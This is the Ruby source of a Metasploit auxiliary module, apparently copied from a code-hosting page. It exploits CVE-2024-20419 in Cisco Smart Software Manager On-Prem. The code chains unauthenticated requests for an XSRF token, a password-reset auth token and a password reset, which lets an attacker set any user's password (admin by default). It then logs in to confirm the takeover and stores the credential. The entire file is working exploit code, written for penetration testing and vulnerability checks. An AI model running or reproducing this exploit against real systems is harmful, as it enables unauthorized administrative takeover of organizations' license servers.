Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/cisco_ssm_onprem_account.rb
Views: 11784
class MetasploitModule < Msf::Auxiliary1include Msf::Exploit::Remote::HttpClient2prepend Msf::Exploit::Remote::AutoCheck34class AuthTokenError < StandardError; end5class XsrfTokenError < StandardError; end6class ResetPasswordError < StandardError; end78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419)',13'Description' => %q{14This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206. An unauthenticated remote attacker15can change the password of any existing user, including administrative users.16},17'Author' => [18'Michael Heinzl', # MSF Module19'Mohammed Adel' # Discovery and PoC20],21'References' => [22['CVE', '2024-20419'],23['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy#vp'],24['URL', 'https://www.0xpolar.com/blog/CVE-2024-20419']25],26'DisclosureDate' => '2024-07-20',27'DefaultOptions' => {28'RPORT' => 8443,29'SSL' => 'True'30},31'License' => MSF_LICENSE,32'Notes' => {33'Stability' => [CRASH_SAFE],34'Reliability' => [REPEATABLE_SESSION],35'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]36}37)38)3940register_options([41OptString.new('NEW_PASSWORD', [true, 'New password for the specified user', Rex::Text.rand_text_alphanumeric(16) + '!']),42OptString.new('USER', [true, 'The user of which to change the password of (default: admin)', 'admin'])43])44end4546# 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session47def xsrf_token_value48res = send_request_cgi(49'method' => 'GET',50'keep_cookies' => true,51'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'),52'vars_get' => {53'hostname' => Rex::Text.rand_text_alpha(6..10)54}55)5657raise XsrfTokenError, 'Failed to get a 200 response from the server.' unless res&.code == 2005859print_good('Server reachable.')6061xsrf_token_value = res.get_cookies.scan(/XSRF-TOKEN=([^;]*)/).flatten[0]62raise XsrfTokenError, 'XSRF Token not found' unless xsrf_token_value6364decoded_xsrf_token = decode_url(xsrf_token_value)65print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")66decoded_xsrf_token67end6869# 2) Request generate_code to retrieve auth_token70def auth_token(decoded_xsrf_token)71payload = {72uid: datastore['USER']73}.to_json7475res = send_request_cgi({76'method' => 'POST',77'ctype' => 'application/json',78'keep_cookies' => true,79'headers' => {80'X-Xsrf-Token' => decoded_xsrf_token81},82'uri' => normalize_uri(target_uri.path, 'backend/reset_password/generate_code'),83'data' => payload84})8586raise AuthTokenError, 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response' unless res&.code == 2008788json = res.get_json_document89if json.key?('error_message')90raise AuthTokenError, json['error_message']91elsif json.key?('auth_token')92print_good('Retrieved auth_token: ' + json['auth_token'])93end9495auth_token = json['auth_token']96auth_token97end9899# 3) Request reset_password to change the password of the specified user100def reset_password(decoded_xsrf_token, auth_token)101payload = {102uid: datastore['USER'],103auth_token: auth_token,104password: datastore['NEW_PASSWORD'],105password_confirmation: datastore['NEW_PASSWORD'],106common_name: ''107}.to_json108109res = send_request_cgi({110'method' => 'POST',111'ctype' => 'application/json',112'keep_cookies' => true,113'headers' => {114'X-Xsrf-Token' => decoded_xsrf_token115},116'uri' => normalize_uri(target_uri.path, 'backend/reset_password'),117'data' => payload118})119120raise ResetPasswordError, 'Did not receive a 200 responce from backend/reset_password' unless res&.code == 200121122json = res.get_json_document123raise ResetPasswordError, "There was an error resetting the password: #{json['error_message']}" if json['error_message']124125json126end127128def check129begin130@xsrf_token_value = xsrf_token_value131@auth_token = auth_token(@xsrf_token_value)132@reset_password = reset_password(@xsrf_token_value, @auth_token)133rescue AuthTokenError, XsrfTokenError, ResetPasswordError => e134return Exploit::CheckCode::Unknown("Check method failed: #{e.class}, #{e}")135end136137return Exploit::CheckCode::Unknown('Unable to determine the version (xsrf_token_value missing).') unless @xsrf_token_value138return Exploit::CheckCode::Unknown('Unable to determine the version (auth_token missing).') unless @auth_token139return Exploit::CheckCode::Unknown('Unable to determine the version (reset_password failed).') unless @reset_password140141if @reset_password.key?('status')142return Exploit::CheckCode::Appears('Password reset was successful, target is vulnerable')143end144145Exploit::CheckCode::Unknown146end147148def decode_url(encoded_string)149encoded_string.gsub(/%([0-9A-Fa-f]{2})/) do150[::Regexp.last_match(1).to_i(16)].pack('C')151end152end153154def run155begin156@xsrf_token_value ||= xsrf_token_value157@auth_token ||= auth_token(@xsrf_token_value)158@reset_password ||= reset_password(@xsrf_token_value, @auth_token)159rescue AuthTokenError, XsrfTokenError, ResetPasswordError => e160fail_with(Failure::UnexpectedReply, "Exploit pre-conditions were not met #{e.class}, #{e}")161end162163fail_with(Failure::UnexpectedReply, 'Unable to determine the version (xsrf_token_value missing).') unless @xsrf_token_value164fail_with(Failure::UnexpectedReply, 'Unable to determine the version (auth_token missing).') unless @auth_token165fail_with(Failure::UnexpectedReply, 'Unable to determine the version (reset_password failed).') unless @reset_password166167# 4) Confirm that we can authenticate with the new password168payload = {169username: datastore['USER'],170password: datastore['NEW_PASSWORD']171}.to_json172173res = send_request_cgi({174'method' => 'POST',175'ctype' => 'application/json',176'keep_cookies' => true,177'headers' => {178'X-Xsrf-Token' => @xsrf_token_value,179'Accept' => 'application/json'180},181'uri' => normalize_uri(target_uri.path, 'backend/auth/identity/callback'),182'data' => payload183})184185fail_with(Failure::UnexpectedReply, 'Failed to verify authentication with the new password was successful.') unless res&.code == 200186187json = res.get_json_document188unless json.key?('uid') && json['uid'] == datastore['USER']189fail_with(Failure::UnexpectedReply, json['error_message'])190end191192store_valid_credential(user: datastore['USER'], private: datastore['NEW_PASSWORD'], proof: json)193print_good("Password for the #{datastore['USER']} user was successfully updated: #{datastore['NEW_PASSWORD']}")194print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/logIn?redirectURL=%2F'))}")195end196end197198199